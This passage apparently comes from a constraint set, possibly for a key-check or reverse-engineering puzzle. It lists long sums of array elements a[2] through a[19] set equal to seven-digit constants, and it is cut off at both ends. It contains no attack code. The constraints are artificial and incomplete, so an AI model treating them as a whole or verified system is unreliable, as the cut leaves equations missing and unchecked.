+a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 7049790 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] == 7455784 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 7311612 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 6299256 , a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 7114100 , a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 7037043 , a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 6873051 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 5644794 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 8014197 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 6432215 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[6] +a[6] +a[6] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[11] +a[12] +a[12] +a[12] +a[12] +a[12] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[13] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[14] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[15] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[16] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[17] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[18] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] +a[19] == 6638450 , a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[2] +a[3] +a[3] +a[3] +a[3] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[4] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[5] +a[6] +a[7] +a[7] +a[7] +a[7] +a[7] +a[7] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[8] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[9] +a[10] +a[10] +a[11] +a[11] +a[11] +a[11] +a[11] 